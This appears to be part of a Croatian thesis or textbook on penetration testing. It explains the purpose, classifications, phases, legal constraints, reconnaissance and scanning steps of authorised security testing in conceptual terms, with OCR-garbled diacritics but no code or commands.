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1. Uvod

Racunala su odavno postala neizbjeZan dio naseg Zivota. RaCunala se koriste u svim
aspektima naSeg Zivota, kako poslovnog tako i privatnog. Razvitkom tehnologije
raste i kompleksnost racunalnih sustava. Danas u raznim organizacijama racunalni
sustavi sastoje se od nekoliko stotina, pa ¢ak do nekoliko desetaka tisu¢a raCunala.
Spajanjem tih raCunalnih sustava na Internet, sva racunala u njima postaju
potencijalna meta velikog broja razliCitih napada na njihovu sigurnost. Jedino za
racunala koja nisu spojena na neki tip raCunalne mreze moze se reci da su sigurna,
ali od takvih raCunala nema ba$ neke prevelike koristi, a i nikada ne postoji 100%
sigurnost. Zbog toga je pitanje sigurnosti jedno od najvaznijih pitanja u raCunalnom
svijetu.

Porastom kompleksnosti raCunalnih sustava raste i kompleksnost konfiguracije
sustava. Bilo kakva greSka u konfiguraciji bilo kojeg dijela sustava moze dovesti do
kompromitiranja cijelog sustava. Isto tako, raste i kompleksnost programskih
aplikacija za razliCite potrebe, pokrenute na raznim sustavima. S time raste i
mogucnost potkradanja pogreSke u konfiguraciji samih aplikacija, a i u programskom
kodu aplikacija. Sve to moze dovesti do kompromitiranja cijelog raCunalnog sustava.

Svaki dan otkriva se nekoliko novih sigurnosnih propusta u razliitim raCunalnim
sustavima i aplikacijama. GodiSnje se otkrije nekoliko stotina kritinih sigurnosnih
propusta. Napadi na sigurnost racunalnih sustava postaju sve sofisticiraniji i sve su
tezi za detektiranje. Postoji veliki broj, besplatnih, alata na Internetu koji omogucuju
nekome tko i nema ba$ preveliko informatiCko znanje da kompromitira racunalni
sustav u kojem postoji neki od sigurnosnih propusta. Zbog postojanja takvih alata jos
je viSe potrebno voditi brigu o sigurnosti raCunalnih sustava, jer netko tko nema
pojma o racunalnoj sigurnosti jednim klikom miSa moze kompromitirati taj ranjivi
sustav.

PreporuCena praksa je da se periodiCki provodi ispitivanje sigurnosti racunalnih
sustava kako bi se razina sigurnosti racunalnih sustava drzala na prihvatljivoj razini.
Tijekom tog ispitivanja provodi se sigurnosna analiza u potrazi za svim potencijalnim
sigurnosnih propustima u raCunalnim sustavima. Jedna od metoda za provodenje
ispitivanja sigurnosti u raCunalnim sustavima je penetracijsko ispitivanje sigurnosti
u raéunalnim sustavima. Penetracijsko ispitivanje sigurnosti je odliCan alat za
otkrivanje sigurnosnih propusta u raCunalnom sustavu. Penetracijsko ispitivanje
omogucava da se ispitivani sustav vidi na nacin na koji ga vidi i stvarni napadac.
Izvodenje penetracijskog ispitivanja ne povefava razinu sigurnosti u racunalnom
sustavu koji se ispituje. On omogucava samo uvid u trenutno stanje sigurnosti
racunalnog sustava. A rezultati penetracijskog ispitivanja koriste se kako bi se
provele potrebne akcije da se uklone svi pronadeni sigurnosni propusti, te da se
sigurnost racunalnog sustava drzi na prihvatljivoj razini. Penetracijsko ispitivanje nije
stvar koja se jednom obavi i viSse nikada se ne obavlja. Penetracijsko ispitivanje se
provodi periodiCki, kako bi se nadgledalo sigurnosno stanje racunalnog sustava, te
kako bi se ono drzalo na prihvatljivoj razini.



2. Opcenito o penetracijskom ispitivanju

2.1 Sto je to penetracijsko ispitivanje sigurnosti sustava?

Penetracijsko ispitivanje (engl. penetration testing), joS se naziva i eticko hakiranje
(engl. ethical hacking), je metoda s kojom se moze procijeniti sigurnost racunalne
mreze ili raCunalnog sustava tako da se simuliraju napadi na sustav kakve bi izveo i
stvarni napadaC. To je aktivna analiza cijelog sustava u potrazi za mogucim
sigurnosnim propustima u sustavu, loSoj konfiguraciji sustava, za poznatim i
nepoznatim propustima u softveru i/ili hardveru i ostalim slabostima sustava. Osoba
koja izvodi penetracijsko ispitivanje postavlja se u poziciju stvarnog napadaca, s istim
metodama i radnjama pokuSavaju se otkriti propusti u sustavu.

Osoba koja provodi penetracijsko ispitivanje sigurnosti naziva se penetracijski
ispitivac ili etiCki haker (engl. ethical hacker). Penetracijski ispitivaC je racunalni i
mrezni struCnjak koji vrSi napade na sigurnosni sustav, uz dopusStenje vlasnika
sustava, kako bi pronasao ranjivosti i propuste u sustavu koje bi stvarni napadac
mogao iskoristiti u svoju korist. Za ispitivanje sustava koriste se istim metodama koje
bi koristio i stvarni napadac, ali za razliku od stvarnog napadacCa ne iskoriStavaju
propuste u sustavu u svoju korist, nego cijeli postupak prijavljuju vlasnicima sustava.

Penetracijsko ispitivanje relativnho je novo podrucje koje se dosta razvija. U 70-im i
80-im godina proS$log stoljeCa penetracijsko ispitivanje sustava provodila je samo
vojska i velike kompanije, jer racunala i Internet nisu bili raSireni kao danas.
Penetracijsko ispitivanje nedavno je postalo popularno podrucje racunalne sigurnosti.
Danas vecina kompanija, one kojima je to od interese, ispituje sigurnost svojih
sustava pomocu penetracijskog ispitivanja i s time osiguravaju prihvatljivu razinu
sigurnosti u svojim sustavima.

Rezultat penetracijskog ispitivanja je dobro dokumentiran postupak ispitivanja koji se
predaje narucitelju penetracijskog ispitivanja. Na osnovu te dokumentacije donose se
odluke na koji nacin je potrebno unaprijediti sustav, koji je ispitivan, kako bi se
otklonili potencijalno opasni propusti koji su pronadeni, te unaprijedila sigurnost
samog sustava.

Za provodenje penetracijskog ispitivanja nad sustavom potrebno je dopustenje
vlasnika sustava za sve akcije koje se provode. Prije provodenja penetracijskog
ispitivanja potrebno je potpisati razne ugovore, kako kasnije ne bi bilo pravnih
posljedica.

Pomocu penetracijskog ispitivanja procjenjuje se stanje sigurnosti sustava, te na
osnovu te procjene donose se odluke o otklanjanju sigurnosnih propusta i
implementiranju razliitih sigurnosnih rjeSenja, kako bi sustav bio Sto je moguce
sigurniji. Penetracijsko ispitivanje je procjena trenutnog stanja sustava. Vec¢ se
nakon samog zavrSetka penetracijskog ispitivanja sustava mogu otkriti neki novi
propusti i ranjivosti u sustavu. Zbog toga je penetracijsko ispitivanje postupak koji se
ne provodi samo jednom nego se taj postupak ponavlja periodiCki. Period ponavljanja
ispitivanja sustava ovisi o specificnostima sustava koji se ispituje.



Ukoliko se penetracijsko ispitivanje ne provede dobro moze imati ozbiljne posljedice
na sustav nad kojim se provodi ispitivanje. MoZe do¢i do zaguSenja sustava, pada
sustava ili curenja povjerljivih informacija. Zato je jako bitno da se provede detaljno
planiranje prije samog izvodenja penetracijskog ispitivanja.

Ukoliko se penetracijsko ispitivanje ispravno provede ono je jako bitan dio strategije
procjene rizika (engl. risk assessment strategy) organizacije. [1]

2.2 Razlozi provodenja penetracijskog ispitivanja

Penetracijsko ispitivanje provodi se iz viSe razloga. Neki od razloga provodenja
penetracijskog ispitivanja su:

e otkrivanje sigurnosnih propusta prije napadaca,

e potvrda postojece sigurnosti,

e ispitivanje novih tehnologija,

e sigurnosni trening za informatic¢ko osoblje i

e obavjesStavanje IT menadzmenta o sigurnosnim problemima. [10]

Jedan od razloga provodenja penetracijskog ispitivanja je pronalazak sigurnosnih
propusta prije napadaca. Cilj je pronaci i poznate i nepoznate sigurnosne propuste.
Vecina napadaca ipak koristi poznate metode napada i primjenjuje ih na poznate
sigurnosne propuste. Manji dio napadaca koristi napredne tehnike i posjeduje jo$
javno neizdane exploite (engl. O-day exploits). Zbog toga je kljucno da se prvo otkriju
i uklone poznati sigurnosni propusti, a tek onda se ide u potragu za nepoznatim
sigurnosnim propustima. Penetracijsko ispitivanje omogucuje da IT menadzment vidi
sustav na nacin na koji ga vidi napadac. Cilj penetracijskog ispitivaca je da pronade
sigurnosne propuste kako bi se oni mogli ispraviti i na taj nacin sprijecCiti napadaca da
iskoristi te sigurnosne propuste.

Cesto se penetracijsko ispitivanje provodi kako bi se potvrdila postoje¢a sigurnost
organizacije. Obi¢no penetracijsko ispitivanje obavlja neovisna vanjska organizacija,
radi svoje objektivnosti i struCnosti. Redovno provodenje penetracijskog ispitivanja
moze pokazati pad ili rast sigurnosti unutar organizacije, jer penetracijsko ispitivanje
daje dobru procjenu sigurnosnog stanja organizacije u vrijeme izvodenja ispitivanja.
Penetracijsko ispitivanje moze posluziti i kao pokazatelj da sigurnosno osoblje unutar
organizacije radi dobar ili lo§ posao.

Penetracijsko ispitivanje idealno je i za ispitivanje novih tehnologija prije samog
pustanja u rad. ispitivanjem novih tehnologija prije nego Sto itko ovisi o njima moze
ustedjeti vrijeme i novac, jer je lakSe i jednostavnije ispraviti pronadene sigurnosne
propuste.

Penetracijsko ispitivanje providi se i kako bi se testiralo sigurnosno osoblje
organizacije zaduzeno za detektiranje i prevenciju napada. Ukoliko penetracijski
ispitivaC uspjesSno upadne u sustav, a da to nitko ne detektira, to je dobar pokazatel
da je sigurnosnom osoblju potrebna dodatna edukacija. Rezultati penetracijskog
ispitivanja mogu posluZiti za ukazivanje na pogreSke koje je napravilo sigurnosno



osoblje organizacije, te pomoc¢i sigurnosnom osoblju da unaprijedi svoje sigurnosne
vjestine.

Penetracijsko ispitivanje provodi se i kako bi se IT menadZment obavijestio o
sigurnosnim problemima unutar organizacije. Informacije dobivene izvodenjem
penetracijskog ispitivanja koriste se kako bi se IT menadzmentu olak§ao posao u
odlukama o ulaganju resursa u sigurnost organizacije. Kako je budzet ogranien nije
moguce ukloniti sve pronadene potencijalne sigurnosne propuste u sustavu koji su
pronadeni analizom ranjivosti u sustavu. Penetracijsko ispitivanje koristi se kako bi se
odredilo koji od pronadenih sigurnosnih propusta imaju najviSe utjecaja na samu
organizaciju. Na osnovu tih informacija pravi se plan za uklanjanje tih sigurnosnih
propusta i smanjenje sigurnosnog rizika.

2.3 Klasifikacija penetracijskog ispitivanja

Penetracijsko ispitivanje klasificira se prema razli€itim kriterijima koji su specifi€ni za
svako pojedino penetracijsko ispitivanje. Penetracijski ispitivanje moze se klasificirati
prema 6 osnovnih kriterija, a to su:

¢ penetracijsko ispitivanje prema bazi raspoloZivih informacija,
e penetracijsko ispitivanje prema agresivnosti,

e penetracijsko ispitivanje prema opsegu skeniranja,

e penetracijsko ispitivanje prema pristupu skeniranja,

e penetracijsko ispitivanje prema tehnici skeniranja i

e penetracijsko ispitivanje prema pocetnoj tocci skeniranja. [8]

2.3.1 Penetracijsko ispitivanje prema bazi raspolozivih informacija

Penetracijsko ispitivanje moze se klasificirati prema koli¢ini podataka s kojima
penetracijski ispitivaé raspolaze prije samog provodenja ispitivanja. Prema bazi
raspolozivih informacija o sustavu koji se ispituje penetracijsko ispitivanje dijeli se na:

e penetracijsko ispitivanje bez informacija (engl. black box penetration
testing) i

e penetracijsko ispitivanje sa svim informacijama (engl. white box penetration
testing). [8]

Kod penetracijskog ispitivanja bez informacija penetracijski ispitivaC ne raspolaze s
nikakvim informacijama o sustavu koji se ispituje. Penetracijski ispitivaé posjeduje
samo ime organizacije ili mozda samo IP adresu Web posluZitelja organizacije.
Ovakvim penetracijskim ispitivanjem simulira se stvarni napad kakav bi izveo i stvarni
napadac.

Kod penetracijskog ispitivanja sa svim informacijama penetracijski ispitiva€ raspolaze
sa svim potrebnim informacijama o sustavu koji se ispituje. Sva dokumentacija o
sustavu pribavlja se od same organizacije koja je vlasnik ispitivanog sustava.
Ovakvim penetracijskim ispitivanjem simulira se napad iznutra kakav bi mogao
provesti netko od zaposlenika organizacije.



2.3.2 Penetracijsko ispitivanje prema agresivnosti

Penetracijsko ispitivanje moze se klasificirati i prema agresivnosti izvodenja.
Agresivnost se odnosi na nacin iskoristavanja pronadenog sigurnosnog propusta.
Prema agresivnosti penetracijsko ispitivanje dijeli se na:

e pasivno penetracijsko ispitivanje,
e oprezno penetracijsko ispitivanje,
e proracunato penetracijsko ispitivanje i
e agresivno penetracijsko ispitivanje. [8]

Kod pasivnog penetracijskog ispitivanja pronadeni sigurnosni propusti ne pokuSavaju
se iskoristiti. Svi pronadeni propusti samo se dokumentiraju i stavljaju se u zavrSno
izvjeSce.

Kod opreznog penetracijskog ispitivanja pronadeni sigurnosni propusti iskoriStavaju
se samo ako penetracijski ispitivaC zakljuci da to nije opasno za ranijivi sustav. Npr.
pokuSava se pristupiti direktorijima na Web posluZitelju ili se koriste dobro poznate
lozinke (engl. default passwords ) za upad u sustav.

Kod proracunatog penetracijskog ispitivanja iskoriStavaju se pronadeni sigurnosti
propusti. IskoriStavaju se samo poznati sigurnosni propusti izvodenjem ve¢ napisanih
exploita. Prije pokretanja exploita penetracijski ispitivaC procjenjuje hoce li izvodenje
exploita biti uspjeSno i kakav ¢e to utjecaj imati na sam sustav. Tijekom ovog
penetracijskog ispitivanja koriste se i razni alati za automatsko pronalazenje lozinki.

Kod agresivhog penetracijskog ispitivanja pokuS$avaju se iskoristiti svi pronadeni
sigurnosni propusti, neovisno o tome kakav Ce to utjecaj imati na sustav. Tijekom
izvodenja ovog tipa penetracijskog ispitivanja moze doéi do izvodenja napada
uskracivanja usluga (engl. Denial of Service — DoS).

2.3.3 Penetracijsko ispitivanje prema opsegu skeniranja

Penetracijsko ispitivanje mozZe se Klasificirati i prema raspolozivom opsegu
skeniranja. Opseg penetracijskog ispitivanja direktno utjeCe i na vrijeme izvodenja
ispitivanja. Prema opsegu skeniranja penetracijsko ispitivanje dijeli se na:

o fokusirano penetracijsko ispitivanje,
¢ limitirano penetracijsko ispitivanje i
e cjelovito penetracijsko ispitivanje. [8]

Fokusirano penetracijsko ispitivanje koristi se za fokusirano ispitivanje samo
odredenog raspona IP adresa, samo jednog sustava ili servisa. Provodenje ovakvog
penetracijskog ispitivanja daje informacije samo o sustavima koji su se ispitivali, ne
dobiva se potpuna sigurnosna slika cijele organizacije.

U limitiranom penetracijskom ispitivanju ispituje se samo limitirani broj sustava ili
servisa. Npr. ispituju se samo raCunala unutar demilitarizirane zone (engl.
demilitarized zone — DMZ).



Cjelovito penetracijsko ispitivanje provodi se na svim sustavima organizacije i daje
potpunu sigurnosnu sliku Citave organizacije.

2.3.4 Penetracijsko ispitivanje prema pristupu skeniranja

Penetracijsko ispitivanje moze se klasificirati i prema pristupu skeniranja, odnosno
prema prikrivenosti penetracijskog ispitivaca. Penetracijsko ispitivanje prema pristupu
skeniranja dijeli se na:

e skriveno penetracijsko ispitivanje i
e otvoreno penetracijsko ispitivanje. [8]

Kod skrivenog penetracijskog ispitivanja koriste se samo metode koje se ne mogu
identificirati kao napad, te tako penetracijski ispitivaC ostaje sakriven.

Kod otvorenog penetracijskog ispitivanja penetracijski ispitivaC koristi se svim
raspolozivim metodama. U nekim slu€ajevima, kod penetracijskog ispitivanja sa svim
informacijama, i informati¢ko osoblje same organizacije moze sudjelovati u ovakvom
tipu penetracijskog ispitivanja, kako bi se prije doslo do bitnih otkrica.

2.3.5 Penetracijsko ispitivanje prema tehnici skeniranja

Penetracijsko ispitivanje moze se klasificirati i prema tehnici skeniranja. Prema
tehnici skeniranja penetracijsko ispitivanje dijeli se na:

e penetracijsko ispitivanje orijentirano na raCunalne mreze,

e penetracijsko ispitivanje orijentirano na ostale nacine komunikacije,

o fiziCko penetracijsko ispitivanje i

e socijalni inzenjering. [8]
Penetracijsko ispitivanje koje je orijentirano na raunalne mreze je standardan nacin
izvodenja penetracijskog ispitivanja sigurnosti u raCunalnim sustavima. Ispituje se

mrezna infrastruktura organizacije i sva raCunala na njoj. Za skeniranje koristi se
TCP/IP (Transmission Control Protocol / Internet Protocol) protokol.

Penetracijsko ispitivanje orijentirano na ostale nacine komunikacije koristi se za
ispitivanje  ostalih nacCina komunikacije unutar organizacije. Ispituju se
telekomunikacijske mreze, razliCite bezicne mreze za komunikaciju (npr. bluetooth) i
sl.

FiziCkim penetracijskim ispitivanjem ispituje se fiziCka sigurnost organizacije.

Socijalni inzenjering koristi se za iskoriStavanje sigurnosne neosvijeStenosti
zaposlenika organizacije. MoZe se Kkoristiti kao dobra metoda za utvrdivanje
sigurnosne osvijeStenosti zaposlenika organizacije, te kao pokazatelj da li se unutar
organizacije postuje i provodi sigurnosna politika organizacije.



2.3.6 Penetracijsko ispitivanje prema pocetnoj to¢ci skeniranja

Penetracijsko ispitivanje moZe se Klasificirati i prema pocetnoj toCci skeniranja
sustava, odnosno prema mjestu od kuda se provodi ispitivanje. Prema pocetnoj tocci
penetracijsko ispitivanje dijeli se na:

e vanjsko penetracijsko ispitivanje i
e unutradnje penetracijsko ispitivanje. [8]

Vanjsko penetracijsko ispitivanje vrsi se preko Interneta. Penetracijski ispitiva¢ nalazi
se na udaljenoj lokaciji i sa te lokacije ispituje sustav organizacije. S ovim
penetracijskim ispitivanjem skeniraju se sustavi koji su pristupacni preko Interneta.
Rezultat penetracijskog ispitivanja daje dobru procjenu stanja sigurnosti sustava
kojima se moze pristupiti izvana. Ovakav pristup obi¢no koristi i stvarni napadac.

Unutrasnje penetracijsko ispitivanje Kkoristi se za ispitivanje unutradnje mrezne
infrastrukture organizacije. Provodenjem ovog penetracijskog ispitivanja moze se
utvrditi Sto bi se dogodilo i kakav bi utjecaj imalo na samu organizaciju kada bi
napadac doSao do neautoriziranog pristupa unutrasnjoj mreznoj infrastrukturi.

2.4 Metodologija provodenja penetracijskog ispitivanja

Kako bi se cijeli proces provodenja penetracijskog ispitivanja proveo sigurno i
optimalno bitno je da se proces podijeli u nekoliko dobro definiranih faza.
Penetracijsko ispitivanje sigurnosti nekog sustava moze se podijeliti u Cetiri glavne
faze, a to su:

faza planiranja,

faza prikupljanja podataka,

faza penetracije i

faza izvjeStavanja. [7] (Slika 2.1)

Faza planiranja '

Faza prikupljanja podataka

Faza penetracije

Faza izvjestavanja '

Slika 2.1: Tijek izvodenja penetracijskog ispitivanja




Faza planiranja sluzi da se dogovore sve potrebne stvarni prije samog pocetka
skeniranja. U fazi prikupljanja podataka prikupljaju se sve informacije o sustavu koji
se ispituje, od imena racunala i IP adresa, pa do pronadenih sigurnosnih propusta. U
fazi penetracije iskoriStavaju se neki od pronadenih sigurnosnih propusta. Na kraju
je faza izvjeStavanja, koja sluzi kako bi se prikupljena dokumentacija i rezultati
samog penetracijskog ispitivanja prezentirali narucitelju penetracijskog ispitivanja.

Tijekom svih faza penetracijskog ispitivanja i koraka svake faze bitno je da se sve
provedene akcije dobro dokumentiraju. Sve dokumentirane akcije ulaze u finalno
izvjeSc¢e penetracijskog ispitivanja.



3. Faza planiranja

Faza planiranja prva je faza penetracijskog ispitivanja sustava. U ovoj fazi
penetracijski ispitivaCi s naruciteljlem penetracijskog ispitivanja dogovaraju sve
potrebne stvari vezane uz penetracijsko ispitivanje sustava.

U ovoj fazi dogovara se cilj penetracijskog ispitivanja. Potpisuju se dokumenti kao §to
su dopustenja IT menadZmenta za izvodenje penetracijskog ispitivanja, ostali
dokumenti i ugovori kao $to je npr. ugovor o neotkrivanju (NDA — Non Disclosure
Agreement). [7] Penetracijski tim u ovoj fazi priprema preciznu i jasnu strategiju
izvodenja penetracijskog ispitivanja sustava. PostojeCa sigurnosna politika,
industrijski standardi i najbolja praksa su neke od informacija koje se koriste kao bi
se definirao opseg penetracijskog ispitivanja. Ova faza obuhvaca sve aktivnosti koje
je potrebno provesti prije poCetka izvodenja penetracijskog ispitivanja na ciljanom
sustavu.

Postoje razli€iti faktori koje je potrebno uzeti u razmatranje kako bi se pravilno izvelo
penetracijsko ispitivanje sustava. Za razliku od stvarnog napadaca, penetracijski
ispitiva€ ima mnoga ogranic¢enja dok izvodi penetracijsko ispitivanje ciljanog sustava.
Zbog toga je potrebno odgovaraju¢e planiranje kako bi se uspjeSno izvelo
penetracijsko ispitivanje.

Neka od ograniCenja su:
e vrijemei
e zakonska (pravna) ogranienja. [7]

Postoje i mnoga druga ograni¢enja koja organizacija moze nametnuti penetracijskom
ispitivaCu. Neka od tih ograniCenja su ograniCenja zbog moguceg pada sustava,
moguce curenje povjerljivih informacija, negativan udar penetracijskog ispitivanja na
posao organizacije i sl. Svi ti faktori moraju se uzeti u obzir tijekom ove faze, kako bi
se napravio Sto je moguce bolji plan izvodenja penetracijskog ispitivanja i da bi
penetracijsko ispitivanje bilo optimalno izvedeno.

3.1 Vrijeme

Vrijeme je jedno od ograniCenja koja su nametnuta penetracijskom ispitivacu. U
stvarnom svijetu napadac ima na raspolaganju vremena koliko god mu je potrebno
za planiranje svog napada. S druge strane, izvodenje penetracijskog ispitivanja na
cillanom sustavu ograniCeno je vremenom. Penetracijski ispitivaC mora se striktno
drzati dogovorenih vremenskih rokova za izvodenje ispitivanja.

3.2 Zakonska ogranic¢enja

Penetracijski ispitivaC ograni€en je i pravnim ugovorom. U ugovoru su navedeni svi
prihvatljivi i neprihvatljivi koraci penetracijskog ispitivanja ciljanog sustava.
Penetracijski ispitiva¢ se striktno mora drzati koraka navedenih u ovom ugovoru, jer
suprotno penetracijsko ispitivanje mozZe imati ozbiljan utjecaj na poslovanje
organizacije koja je naruCila penetracijsko ispitivanje. Isto tako neposStivanje



potpisanih ugovora moze rezultirati pravnim posljedicama za penetracijskog
ispitivaca.
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4. Faza prikupljanja podataka

Faza prikupljanja podataka (engl. information gathering phase) je faza s kojom
zapocinje penetracijsko ispitivanje sustava. Jo$ se naziva i faza otkrivanja podataka
(engl. discovery phase). [3] Faza prikupljanja podataka dijeli se na tri koraka, a to su:

e izvidanje,
e skeniranje i

e analiza ranjivosti. [7]

4.1 lzvidanje

Izvidanje sustava (engl. reconnaissance and footprinting) prvi je korak faze
prikupljanja podataka. To je potpuno nenametljiv postupak koji se izvodi kako bi se
prikupilo Sto je viSe moguce informacija o meti penetracijskog ispitivanja. Ova faza
ukljuCuje tehniCke i netehniCke postupke, kao Sto su npr. pretrazivanje Interneta
poznatim pretraziva¢ima, postavljanje upita u javno dostupne repozitorije podataka i
sl.

Ovu fazu dobar dio penetracijskih ispitivaca zanemaruje i podcjenjuje. Ali preskociti
ovu fazu bila bi pogreSka, jer na Internetu je moguce pronaci veliku koliinu
zanimljivih i povjerljivih podataka o meti napada penetracijskog ispitivanja. Sve te
informacije penetracijski ispitivaC moze prikupiti, a da u biti nema kontakta s ciljanim
sustavom i na taj nacin u ovoj fazi ostaje potpuno nevidljiv. Mnoge od procedura koje
se koriste u ovoj fazi mogu se lagano automatizirati pisanjem malih programa ili
skripti i na taj naCin ubrzati i olakSati ovu fazu. Ali jedan dio faze je nemoguce
automatizirati, jer je potrebna masta, iskustvo i kreativnost penetracijskog ispitivaca
kako bi pronasao bitne informacije i odvojio bitne informacije od nebitnih. [3]

Izvidanje sustava moze otkriti propuste u sustavu koje se u sljede¢im fazama
penetracijskog ispitivanja mogu iskoristiti za exploitanje ciljanog sustava. Kada se
radi o penetracijskom ispitivanju s potpunim informacijama ova faza moze se i
preskoCiti, jer su ve¢ dobivene sve potrebne informacije, a ako je potrebno jo$
informacija o sustavu potrebno je te informacije traziti od narucitelja penetracijskog
ispitivanja. Kada se radi o penetracijom ispitivanju bez informacija ova faza se nikako
ne smije preskoCiti. Preskakanjem ove faze znatno bi se smanjila kvaliteta
penetracijskog ispitivanja. Kod penetracijskog ispitivanja bez informacija jedina
informacija koja je dostupna penetracijskom ispitivadu mozda je samo Web adresa
sustava, IP adresa servera ili Cak samo naziv tvrtke. Te informacije koriste se kao
pocetne informacije u ovoj fazi za prikupljanje Sto je vise moguce drugih informacija o
ciljanom sustavu.

Izvidanje je mozda najmanje shvacen ili krivo shvac¢en korak penetracijskog
ispitivanja. Nekoliko razloga zasto je potrebno provesti izvidanje sustava kod
penetracijskog ispitivanja prije provodenja slijedeéih koraka i faza penetracijskog
ispitivanja: [3]
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e RazliCite raCunalne sustave dizajniraju i odrzavaju razli€iti ljudi. Razliciti
ljudi imaju razli€ite osobnosti pa je tako i svaki raCunalni sustav razli€it, kao
i njihove slabosti. Cilj izvidanja sustava je upoznati se s navikama ljudi koji
se nalaze iza cilinog sustava kako bi se povecala mogucénost pronalaska
slabosti i njihovog iskoriStavanja.

e U vecini sluCajeva kada se radi penetracijsko ispitivanje neke organizacije
to najCeSce nije samo jedno racunalo, nego viSe njih. Danas su
organizacije raSirene geografski i ne moraju se nalaziti na jednoj lokaciji.
Ista je stvar i s raCunalnim sustavom jedne organizacije. Zbog toga je i
jedan od ciljeva odrediti gdje se to€no nalazi raCunalni sustav organizacije i
Sto sve to¢no spada pod njega.

e Sve se viSe poveCava raCunalna sigurnost sustava, a mogucnost
kompromitiranja se sve viSe smanjuje. Ponekada niti tek otkriveni exploiti
nisu od koristi ako je dobro konfigurirana demilitarizirana zona ra¢unalnog
sustava. Zbog toga pravo je pitanje gdje se nalazi sustav koji se moze
kompromitirati. Prikupljanjem Sto je viSe moguce informacija o ciljanom
sustavu poveCava se mogucnost pronalaska takvog sustava, a s time i
pronalaska slabosti i na kraju iskoriStavanja tih slabosti.

Glavni cilj izvidanja je da se mapira ciljani sustav, tako da se dobije lista dohvatljivih i
bitnih IP (Internet Protocol) adresa ciljanog sustava.

Opcenito izvidanje se dijeli u Cetiri koraka, a to su:
o prikupljanje informacija (engl. intelligence gathering),
e uzimanje otisaka (engl. footprinting),
o verifikacija (engl. verification) i
¢ vitalnost (engl. vitality). [3]

Prva tri koraka provode se sve dok se dobivaju nove informacije, kada se
provodenjem ne dobiju nikakve nove informacije postupak se zaustavlja. Nakon §to
je postupak gotov, prikupljene informacije se koriste u sljede¢em koraku
penetracijskog ispitivanja (skeniranje sustava).

4.1.1 Prikupljanje informacija

Cilj je prikupiti Sto je viSe mogucée korisnih informacija o ciljanom sustavu, o svrsi
sustava i njegovoj organizacijskoj strukturi. 1zlaz je lista relevantnih DNS imena
domena sustava. Tipicni "alati" koji se koriste su pretrazivanje Interneta poznatim
Web trazilicama (npr. Google), prikupljanje informacija iz socijalnih mreza (npr.
Facebook), razne perl skripte, razliCite javnho dostupne baze podataka i razliite
trazilice (npr. Netcraft). Ovo je mozda najzahtjevniji korak, zbog toga Sto se cijeli
postupak ne moze automatizirati.

4.1.2 Uzimanje otisaka

Cilj uzimanja otisaka je iz dobivenih imena domena dobiti $to je viSe moguce imena
raCunala, te iz imena dobiti IP adrese svih pronadenih raCunala. 1zlaz iz ovog koraka
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je lista svih pronadenih imena racunala, njihove IP adrese, te rasponi pronadenih IP
adresa. Tipicni alati su razne perl skripte, te razliCite metode kao $to su npr. WHOIS
IP, DNS forward, SMTP bounce i sl.

4.1.3 Verifikacija

U prethodna dva koraka prikupljena su imena domena, imena pronadenih racunala
na toj domeni, te lista svih IP adrese pronadenih raCunala. U koraku verifikacije lista
dobivenih IP adrese se verificira kako bi se dokazalo da su pronadene IP adrese
stvarno povezane s ciljanim sustavom. Izlaz je verificirana lista IP adresa koja se
smije koristiti u sljede¢em koraku penetracijskog ispitivanja (skeniranje sustava).
Tijekom ovog koraka mozda su pronadene neke nove informacije koje nisu
pronadene u koraku prikupljanja informacija, pa se postupak opet ponavlja, ponovno
se kreCe s korakom prikupljanja informacija. Tipicne metode koje se koriste za
verifikaciju su npr. DNS revers, WHOIS IP i sl.

4.1.4 Vitalnost

Ovo je zavrdni korak izvidanja sustava. Cilj je odrediti kojim racunalima, tj. kojim IP
adresama, koja su pronadena u prethodnim koracima se moze pristupiti preko
Interneta. Izlaz je lista IP adresa kojima se stvarno moze pristupiti, te se te IP adrese
koriste u sljede¢ima fazama penetracijskog ispitivanja. Provodenje ovog koraka vecé
spada u sljedeéi korak penetracijskog ispitivanja, skeniranje sustava.

4.1.5 Socijalni inzenjering

Socijalni inzenjering (engl. social engineering) je netehniCka metoda prikupljanja
informacija o sustavu. Cilj socijalnog inZenjeringa je prikupiti povjerljive informacije
kako bi se dobio pristup sustavu. To je proces zavaravanja i uvjeravanja ljudi da daju
povijerljive informacije koje se mogu iskoristiti za zaobilazenje sigurnosnih mjera i za
penetriranje u sustav. Ova metoda moze se koristiti prije samog napada na sustav ili
tijekom napada. [9]

Opc¢e je poznato da su ljudi najslabija karika racunalne sigurnosti. Odavanjem
povijerljivih informacija koje mogu dovesti do kompromitiranja sustava zaobilaze se
sve postavljene sigurnosne mjere. Zbog toga je potrebna sigurnosna edukacija ljudi,
te dobra sigurnosna politika unutar same organizacije, te strogo provodenje
sigurnosne politike unutar organizacije.

4.2 Skeniranje

Skeniranje sustava (engl. scanning and enumeration) drugi je korak faze prikupljanja
podataka. Ovaj korak obicno se sastoji od identifikacije aktivnih racunala,
identifikacije pronadenih otvorenih portova i servisa koji su pokrenuti na njima, te
identifikacije instaliranog operacijskog sustava i sl. U ovom koraku provodi se aktivho
skeniranje ciljanog sustava. Skeniranje se obavlja nad svim pronadenim ra¢unalima
(pronadene IP adrese) u prethodnom koraku. Rezultat provodenja ovog koraka je
lista svih pronadenih aktivnih raCunala, te otvorenih portova na njima, servisa
pokrenutih na tim portovima i informacije o instaliranim operacijskim sustavima.
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Tijekom skeniranja potrebno je biti oprezan. Samo skeniranje ako se ne provede
ispravno moze opteretiti ciljani sustav s nepotrebnim prometom. Ne odgovaraju sve
tehnike svakoj vrsti sustava, pa treba biti oprezan pri odabiru tehnike skeniranja nad
sustavom. Odabirom krive tehnike ili alata moze se izazvati nezeljeni DoS napad i
sustav moze postati neupotrebljiv u tom trenutku. Svi alati za skeniranje trebali bi
prije skeniranja ciljanog sustava biti isprobani na nekom testnom sustavu, kako bi se
utvrdila njihova ispravnost i bezazlenost za ciljani sustav.

Izvodenje ovog koraka moze se podijeliti na dva dijela:
e otkrivanje aktivnih sustava (engl. ping sweep) i

e otkrivanje otvorenih portova, pokrenutih servisa i operacijskog sustava
(engl. enumeration). [3]

4.2.1 Otkrivanje aktivnih sustava

Otkrivanje aktivnih sustava prvi je korak skeniranja sustava. Kao alat u ovom koraku
koriste se razliCiti port skeneri (engl. port scanners). Vecina njih je besplatna i
dostupna na Internetu, a neki popularniji su:

e Nmap,
e Hpingi
e SuperScan.

Port skeneri za identifikaciju aktivnih sustava koriste razliCite metode. Jedna od
najvise koriStenih metoda je obi¢no pinganje racunala koristenje ICMP-a (Internet
Control Message Protocol). Koriste se paketi ICMP ECHO i ICMP ECHO_REPLY.
